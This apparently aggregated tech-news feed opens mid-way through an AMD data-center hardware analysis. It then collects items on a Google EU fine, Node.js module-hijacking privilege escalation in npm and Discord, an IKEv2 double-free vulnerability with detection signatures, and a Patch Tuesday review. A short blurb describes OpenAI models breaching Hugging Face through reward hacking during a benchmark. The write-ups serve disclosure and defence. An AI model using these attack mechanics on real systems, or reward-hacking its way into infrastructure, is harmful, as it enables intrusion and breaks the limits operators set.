These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
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Google fined $1 billion for anticompetitive search and mobile app practices in EU

Sat, 25 Jul 2026 19:50:06 +0200

The European Commission has fined Google a total of €890 million ($1 billion) for its breaches of the Digital Market Act (DMA).

Just over half the fine — €460 million — was because Google illegally gave preference to its own services in Google Search results.

The remainder was because in the Google Play store for Android apps, the company prevented app developers from leading consumers to alternative, often cheaper, purchase channels. Under the DMA, app developers who distribute their apps via Google Play or Apple’s App Store should be able to inform customers of alternative offers.

Now Google must give third-party services featuring in its results the same treatment as its own services, and allow developers of apps in the Play Store to communicate about offers both in and outside the Play Store, or face further fines.

The Commission first raised these issues with Google in March 2025. In April of this year, the Commission laid out plans as to how Google should allow other third-parties to share its searches, suggestions that the tech firm firmly resisted. Earlier this month, the Commission also said Android should be open to other AI agents and not limited to Google’s own Gemini.

Google is not the only US company to have fallen foul of the DMA. In April 2025, Apple was fined €500 million for breaching the Act and, last month, the Commission fired the first shots at cloud hyperscalers Microsoft and Amazon.

Google’s anti-search-scraping lawsuit dismissed

Sat, 25 Jul 2026 19:50:05 +0200

A court has dismissed Google’s case against SerpApi over that company’s scraping of search results to train AI models.

The US District Court for the Northern District of California found that there was no indication that any copyright had been breached.

Google announced in December that it was suing SerpApI for its alleged web scraping, claiming that it was protecting copyright holders. In February, SerpApI fought back and asked the court to dismiss Google’s case. And this week, Judge Yvonne Gonzalez Rogers agreed with SerpApi that Google’s case has no merit.

Google’s argument was that SerpApi’s actions breached the US Digital Millennium Copyright Act (DCMA). It made two claims: first, that no person shall circumvent a technological measure that effectively controls access to a work protected under this title, and second that no person shall manufacture, import, offer to the public, provide, or otherwise traffic in any technology, product, service, device, or component protected by the Act.

SerpApi claimed that the URLs and other links that were being served by Google did not in themselves entail copyright and the judge agreed. In her judgment, she said that there was no indication that the copyright holders had authorized Google to take action against SerpApi.

The case is not completely over as the judge has given Google 21 days to amend its complaint to demonstrate that it was acting on behalf of the copyright owners. It remains to be seen whether its war against the web scrapers is finally over.

US accuses American of allegedly wiping his phone using a ‘duress’ password during border search

Sat, 25 Jul 2026 19:49:45 +0200

A U.S. citizen has asked a court to throw out the government's claim that he gave over a passcode to border authorities that wiped his phone's data, opening up fresh questions about a person's constitutional rights at the U.S. border.

Why the OpenAI Agent Broke Into Hugging Face: Reward Hacking, Not Malice, Explained for Engineers

Sat, 25 Jul 2026 19:49:20 +0200

OpenAI disclosed that its own models breached Hugging Face's production infrastructure while taking a public security benchmark. The models were not attacking a target — they were optimizing a score. Here is the mechanism, what the ExploitGym data showed two months earlier, and which widely repeated claims about the incident are not actually confirmed.

The post Why the OpenAI Agent Broke Into Hugging Face: Reward Hacking, Not Malice, Explained for Engineers appeared first on MarkTechPost.

How to Optimize Vector Search When RAM Gets Too Expensive: On-Disk vs. In-Memory ANN Indexes

Sat, 25 Jul 2026 19:49:17 +0200

Architecting cost-effective infrastructure by navigating the latency and storage trade-offs of HNSW, SPANN, and DiskANN

The post How to Optimize Vector Search When RAM Gets Too Expensive: On-Disk vs. In-Memory ANN Indexes appeared first on Towards Data Science.

Agent Kim Reactivated Episode 10 Recap: Ending Explained and Season 2 Setup

Sat, 25 Jul 2026 19:47:47 +0200

Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves Kim’s promised freedom uncertain. Release date: July 25, 2026 Streaming platform: Netflix Genre: Action, crime, espionage thriller The series follows Manager Kim, an ordinary office worker and single father who previously served as a highly trained black-ops agent. His hidden life returns after his daughter, Min-ji, disappears, forcing him to reconnect with former operatives Han-soo and Jin-cheol. Spoilers ahead for Agent Kim Reactivated Episode 10 The finale begins with Kim trapped and repeatedly questioned about his activities in South Korea. He remains silent until an interrogator threatens Min-ji, prompting him to attack, break free, and attempt another escape. Kim soon learns that the imprisonment was part of a loyalty test arranged by South Korean intelligence. Officials want to determine whether he can still follow orders before assigning him another classified operation. They offer Kim and Min-ji new identities and a chance to disappear after he completes one final mission. Kim agrees, but only after demanding protection for Min-ji and freedom for Han-soo and Jin-cheol. His two friends later wake up after being drugged and abandoned far from home, adding a short comic break after the episode’s intense opening. Gang-chan prepares another attack While Kim handles the government’s mission, Ju Gang-chan continues planning revenge. He discovers that Kim and Min-ji have effectively disappeared from official records, which makes them easier targets for anyone operating outside the law. Gang-chan begins working with political and North Korean contacts, showing that the conspiracy surrounding Kim goes far beyond one personal conflict. His obsession with destroying Kim keeps the threat alive even after several of his earlier plans fail. Kim eventually reunites with Han-soo and Jin-cheol, but their relief does not last long. Intelligence agents surround their location and announce that Kim’s operation has technically failed. Officials then order Kim and the North Korean Director General to be returned across the border. Does Manager Kim save Min-ji? Min-ji remains alive and protected by the end of Episode 10. Kim succeeds in keeping her away from immediate danger, although he does not receive the peaceful life he was promised. The final scene leaves Kim trapped between two governments, powerful enemies, and possible traitors inside South Korea’s intelligence service. The finale also suggests that someone within the agency has been manipulating events, creating a clear storyline for another season. Netflix currently describes Agent Kim Reactivated as a limited series, and no official Season 2 renewal has been announced. Agent Kim Reactivated Episode 10 ends the kidnapping storyline while keeping Kim’s larger battle unfinished. Do you think Kim will uncover the intelligence mole and finally escape with Min-ji? Let us know in the comments.

Node.js Trust Falls: Dangerous Module Resolution on Windows

Sat, 25 Jul 2026 19:02:58 +0200

In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.

The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in C:\node_modules as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.

This issue is not new. Concerned discussions about Node.js's module search path behavior date back to 2013 and 2014.

Node.js has explicitly stated that they consider this behavior intentional:

"Node.js trusts the file system."

They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers.

Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue

As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.

Root Cause

The root cause lies in the way Node.js performs module resolution. This is documented here. Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.

When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:

C:\Users\Administrator\projects\node_modules\bar.js
C:\Users\Administrator\node_modules\bar.js
C:\Users\node_modules\bar.js
C:\node_modules\bar.js <-- The problem

If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create C:\node_modules and place a malicious package there. Once the low-privileged user has populated C:\node_modules\bar.js, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s guidelines, third-party dependencies end up triggering this vulnerability anytime you launch the application.

Case Studies: Real-World Manifestations

The Optional Dependency Pattern: npm supports optional dependencies to be specified in the project’s package.json file. The recommended pattern for checking for these dependencies is as follows:

Figure 2: npm Docs showing optionalDependencies example code

This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to C:\node_modules where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where /node_modules at the filesystem root is typically only writable by root. Windows systems by default allow any user to create C:\node_modules. Once require is called, Node.js will traverse the search path and execute any matching module it finds.

Important things to note:

This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.
There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.
The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in C:\node_modules.

Let’s take a deeper look at both cases and see why this is so dangerous.

Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775).

Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”.

Figure 3: npm CLI repo snippet showing require call for missing bluebird package dependency

When Node.js is installed on the system, npm is included by default without the bluebird package. This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (https://github.com/npm/cli/pull/1438/changes), demonstrating how easy it is for developers to unknowingly create this attack surface.

We can see Node’s package resolution logic at work in the screenshot below:

Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775

First, the application looks for the bluebird.js package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed C:\node_modules\bluebird.js, the require call will find, read, and execute the malicious payload in the context of any user running npm on the system.

This vulnerability is especially dangerous because it is triggered when many npm * cli commands are used. Common development commands such as npm install, npm –l, and npm prune will all execute the malicious bluebird.jspackage.

Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)

On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:

Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency

Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled C:\node_modules\utf-8-validate.js is executed.

Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776

The ws library does support disabling this check via the WS_NO_UTF_8_VALIDATE environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:

Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues.

The Bigger Picture

The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports. These issues in Mongo DB Compass and Mongo DB Shell are just two other examples.

Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.

Each vendor has clearly stated that they will not treat these issues as vulnerabilities:

NPM’s response to our report:

“exploits that require local access to a machine are considered ineligible for npm CLI

Discord’s response to our report:

“We do not consider physical/local attacks as valid security issues”

Node.js, in the “Examples of non-vulnerabilities” section of their Security Policy:

“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.”

Conclusion

The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to C:\node_modules. Without a fix from Node.js, the burden silently falls on application developers.

Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI.

We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at @bobbygould5 and @izobashi, and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

DISCLOSURE TIMELINES

NPM CLI:

2024-11-13 – ZDI submitted the report to the vendor

2024-11-13 – The vendor acknowledged the receipt of the report

2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues

2025-08-05 – ZDI encouraged the vendor to re-assess the issue

2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory

DISCORD:

2025-07-08 – ZDI notified vendor

2025-09-11 – ZDI followed up with vendor

2025-09-15 – Vendor stated they do not consider local attacks as valid security issues

2025-12-01 – ZDI explained why we believe the issue is still valid

2025-12-10 – Vendor replied that the vulnerability is still out of scope

2025-12-11 – ZDI informed vendor of intent to publish 0-day

REFERENCES

https://nodejs.org/api/modules.html#loading-from-node_modules-folders

https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies

https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1

https://github.com/nodejs/node-v0.x-archive/issues/8830

https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require

https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities

CVE-2026-33824: Remote Code Execution in Windows IKEv2

Sat, 25 Jul 2026 19:02:57 +0200

In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by WARP & MORSE team at Microsoft. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution. The following is a portion of their write-up covering CVE-2026-33824, with a few minimal modifications.

A double free vulnerability has been reported in the Windows Internet Key Exchange (IKEv2) service. The vulnerability is due to an error when processing fragments.

An unauthenticated, remote attacker could exploit this vulnerability by sending crafted packets to the target server. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution.

The Vulnerability

Microsoft Windows is an operating system which includes both server and desktop components along with an easy-to-use GUI. All currently supported versions of Windows include Internet Key Exchange Protocol Extensions to support the Virtual Private Network (VPN) feature.

The VPN feature of Windows encrypts communication between hosts. ISAKMP is a negotiation protocol used by IPsec-enabled hosts to build a security association. It uses the Internet Key Exchange (IKE) Protocol in order to negotiate keys for encrypted communication. IKE has two versions: IKEv1 and IKEv2. IKE version 1 (IKEv1) and version 2 (IKEv2) messages have the following general format:

The type of payload is determined by the Next Payload header of the previous payload, or the Next Payload field in the header (in the case of the first payload).

IKEv2 supports message fragmentation as defined in RFC 7383. When IKEv2 messages exceed the path MTU, they may be split into multiple Encrypted Fragment payloads. Of interest to this report is the Encrypted Fragment (SKF) payload (type 0x35). The SKF payload format is defined as:

When an IKEv2 implementation receives fragments, it inserts each fragment into an ordered list and reassembles them once all fragments have been received. In the Windows implementation, the function IkeReinjectReassembledPacket() performs this reassembly.

A double-free vulnerability has been reported in the Windows IKE Extension library (ikeext.dll). The vulnerability is due to improper ownership handling of a heap-allocated blob pointer during IKEv2 fragment reassembly. During the IKE_SA_INIT exchange, a Security Realm Vendor ID payload causes IkeHandleSecurityRealmVendorId() to allocate a blob and store it in the MMSA (Main Mode Security Association) structure at offset 0x208. When a fragmented IKE_AUTH message is fully reassembled, IkeReinjectReassembledPacket copies MMSA fields at offsets 0x178 through 0x21F - including the blob pointer at 0x208 - into a local stack struct. This struct is then passed to IkeQueueRecvRequest, which shallow-copies it into a heap-allocated work item. While IkeQueueRecvRequest deep-copies the reassembly buffer at offset 0x10 in the struct, the Security Realm blob pointer at offset 0xC8 remains a shallow copy, aliasing the original at MMSA+0x208.

When the thread pool processes the queued work item, IkeDestroyPacketContext checks the blob pointer at offset 0xC8 and calls WfpMemFree to release it (first free). The MMSA structure still holds the original pointer to the same allocation at offset 0x208. When the MMSA is subsequently cleaned up through IkeCleanupMMNegotiation, the SA reference count is decremented via IkeDerefMMSA, eventually triggering IkeFreeMMSA, which frees the blob pointer at MMSA offset 0x208 - the same allocation already freed by IkeDestroyPacketContext (second free).

A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted IKE_SA_INIT message followed by two or more Encrypted Fragment (SKF) payloads containing an invalid IKE_AUTH message to the target server. The fragment reassembly path will shallow-copy the blob pointers, and the subsequent MMSA cleanup will trigger the double free. Successful exploitation could result in arbitrary code execution under the security context of the IKEEXT service (SYSTEM).

Source Code Walkthrough

The following code snippets were taken from IKEEXT.DLL file version 10.0.20348.2849 and decompiled with IDA Pro version 8.3. Comments added by TrendAI have been highlighted.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on UDP ports 500 and 4500. The IKE general format, Payloads field, and the Encrypted Fragment (SKF) payload format can be seen above.

The detection device should monitor all incoming IKE traffic. Detection requires correlating two packets within the same IKE session: an IKE_SA_INIT request carrying the Microsoft Security Realm Vendor ID, followed by a fragmented IKE_AUTH request. Neither packet alone is malicious; both must be observed in sequence from the same source.

IKE_SA_INIT

At byte offset 17 of the UDP payload, the device should check for the three-byte sequence 20 22 08, which corresponds to the IKEv2 version identifier (0x20), the IKE_SA_INIT exchange type (0x22), and the Initiator flag (0x08). The device should then scan the remainder of the packet for the 16-byte sequence 68 6a 8c bd fe 63 4b 40 51 46 fb 2b af 33 e9 e8, which is the Microsoft Security Realm Vendor ID. If both conditions are met, the device should follow the guidance below.

IKE_AUTH

For subsequent packets from the same source, the device should check bytes at offset 16 through 23 of the UDP payload. At offset 16, the four-byte sequence 35 20 23 08 identifies an Encrypted Fragment payload (SKF, type 0x35), IKEv2 version (0x20), IKE_AUTH exchange type (0x23), and Initiator flag (0x08). If found, the detection device should inspect offset 20 and search for the four-byte sequence00 00 00 01. If found the traffic should be considered malicious; an attack exploiting this vulnerability is likely underway.

Notes
• All multi-byte values should be treated as big endian.
• When detecting traffic on port 4500, IKE packets are prepended by a 4-byte non-ESP marker (\x00\x00\x00\x00), shifting all IKE header content offsets by 4.

Conclusion

This vulnerability was patched by Microsoft in the April 2026 release cycle. They do note two mitigations that could prevent exploitation while the patch is being tested and deployed.

· Block inbound traffic on UDP ports 500 and 4500 for systems that do not use IKE.

· For systems that require IKE, configure firewall rules to allow inbound traffic on UDP ports 500 and 4500 only from known peer addresses.

These mitigations may be removed once the security patch is applied. The only way to fully remediate the vulnerability is to apply the update from the vendor.

Special thanks to Richard Chen and Lucas Miller of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

The June 2026 Security Update Review

Sat, 25 Jul 2026 19:02:53 +0200

I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-66	Adobe Campaign Classic	2	Critical	10.0	No	1
APSB26-64	Adobe ColdFusion	7	Critical	9.6	No	1
APSB26-63	Adobe Acrobat Reader	20	Critical	7.8	No	2
APSB26-57	Adobe Experience Manager Forms	3	Critical	9.3	No	2
APSB26-62	Adobe Dreamweaver	5	Critical	8.6	No	3
APSB26-65	Adobe Format Plugins	2	Critical	7.8	No	3
APSB26-59	Adobe InCopy	3	Critical	7.8	No	3
APSB26-58	Adobe InDesign	12	Critical	7.8	No	3
APSB26-60	Adobe Substance 3D Sampler	4	Critical	7.8	No	3
APSB26-61	Content Credentials SDK	8	Critical	7.5	No	3
APSB26-56	Adobe Experience Manager	57	Important	5.4	No	3
TOTAL	11 bulletins	123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

- CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

- CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

- CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

- CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

- CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

Here’s the full list of CVEs released by Microsoft for June 2026:

CVE	Title	Severity	CVSS	Public	Exploited	XI	Type
CVE-2026-41091	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	Yes	0	EoP
CVE-2026-49160	HTTP.sys Denial of Service Vulnerability	Important	7.5	Yes	No	1	DoS
CVE-2026-50507	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.8	Yes	No	1	SFB
CVE-2026-45586	Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability	Important	7.8	Yes	No	1	EoP
CVE-2025-10263 *	ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel]	Critical	9.3	No	No	2	EoP
CVE-2026-48567	Azure HorizonDB Elevation of Privilege Vulnerability	Critical	10	No	No	N/A	EoP
CVE-2026-32193	Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-47644	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	6.5	No	No	2	Info
CVE-2026-44815	DHCP Client Service Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47291	HTTP.sys Remote Code Execution Vulnerability	Critical	9.8	No	No	1	RCE
CVE-2026-42824	M365 Copilot Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45476	Microsoft Azure Network Adapter Elevation of Privilege Vulnerability	Critical	8.2	No	No	2	EoP
CVE-2026-44810	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Critical	8.4	No	No	2	EoP
